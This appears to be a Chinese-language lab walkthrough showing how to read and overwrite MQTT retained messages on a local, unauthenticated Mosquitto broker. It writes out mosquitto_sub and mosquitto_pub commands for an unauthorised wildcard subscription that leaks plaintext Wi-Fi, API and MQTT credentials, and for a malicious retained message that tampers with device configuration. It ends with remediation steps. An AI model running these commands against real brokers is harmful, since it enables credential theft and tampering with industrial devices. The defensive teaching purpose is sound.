4. MQTT 保留消息窃取与篡改
保留消息为什么会被“偷走”
MQTT 的保留消息(Retained Message)是 Broker 为某个主题保存的“最后一条”PUBLISH 报文。当新订阅者订阅该主题时,Broker 会立即把这条保留消息推送给它。问题在于:如果 Broker 未启用认证或 ACL,任何客户端都能订阅任意主题,从而直接读取设备上报的敏感配置、状态或凭据。
本案例在本地 Mosquitto 上完成三件事:未授权订阅读取保留消息、分析其中泄露的敏感字段、发布恶意保留消息覆盖原状态。所有操作均针对自建测试 Broker,不涉及真实生产环境。
环境与测试对象
使用本地 Mosquitto 2.x,默认监听 1883,allow_anonymous true,不加载 ACL 文件。准备两个终端:一个模拟合法设备发布保留消息,另一个模拟攻击者订阅并覆盖。
# 终端 A:启动 Broker(测试用,仅监听本机)
mosquitto -c mosquitto.conf -v
# mosquitto.conf 关键内容
listener 1883 127.0.0.1
allow_anonymous true
persistence true
persistence_location /tmp/mosquitto/
第一步:发布一条含敏感字段的保留消息
模拟设备上线后向 factory/line1/config 发布配置,并设置 retain 标志。使用 mosquitto_pub 的 -r 参数即可。
mosquitto_pub -h 127.0.0.1 -p 1883 \
-t "factory/line1/config" \
-m '{"device_id":"line1-plc","wifi_ssid":"FACTORY-IOT","wifi_pwd":"F@ct0ry#2024","api_key":"ak_live_9f3a...","mqtt_user":"line1","mqtt_pass":"P@ss123"}' \
-r -q 1
此时 Broker 已将该 Payload 作为该主题的保留消息保存。任何新订阅 factory/line1/config 或 factory/# 的客户端都会立即收到它。
第二步:未授权订阅读取保留消息
攻击者无需任何凭据,直接订阅通配主题即可拿到保留消息。使用 mosquitto_sub 的 -v 打印主题与 Payload。
mosquitto_sub -h 127.0.0.1 -p 1883 \
-t "factory/#" -v -q 1
预期输出(示例):
factory/line1/config {"device_id":"line1-plc","wifi_ssid":"FACTORY-IOT","wifi_pwd":"F@ct0ry#2024","api_key":"ak_live_9f3a...","mqtt_user":"line1","mqtt_pass":"P@ss123"}
wifi_pwd、api_key、mqtt_pass 均可被进一步利用。第三步:发布恶意保留消息覆盖原状态
攻击者向同一主题发布新的 retain 消息,Broker 会用新 Payload 替换旧保留值。后续任何新订阅者收到的都是被篡改的内容。
mosquitto_pub -h 127.0.0.1 -p 1883 \
-t "factory/line1/config" \
-m '{"device_id":"line1-plc","wifi_ssid":"FACTORY-IOT","wifi_pwd":"hacked_by_attacker","api_key":"ak_live_0000","mqtt_user":"line1","mqtt_pass":"hacked"}' \
-r -q 1
验证覆盖效果:新开一个订阅终端,观察收到的保留消息是否已被替换。
mosquitto_sub -h 127.0.0.1 -p 1883 -t "factory/line1/config" -v -C 1
预期输出(示例):
factory/line1/config {"device_id":"line1-plc","wifi_ssid":"FACTORY-IOT","wifi_pwd":"hacked_by_attacker","api_key":"ak_live_0000","mqtt_user":"line1","mqtt_pass":"hacked"}
结果判读与修复方向
| 观察点 | 未防护表现 | 修复后预期 |
|---|---|---|
未认证订阅 factory/# | 立即收到保留消息 | 连接被拒绝或订阅被 ACL 拒绝 |
| 保留消息中的凭据字段 | 明文可见 | 不应在保留消息中存放明文凭据 |
| 恶意 retain 覆盖 | Broker 接受并替换 | 仅授权发布者能写入该主题 |
修复要点:启用 password_file 与 acl_file,限制 factory/line1/config 只允许设备自身发布、只允许管理端订阅;同时避免在保留消息中放置明文密码,改用短期令牌或加密载荷。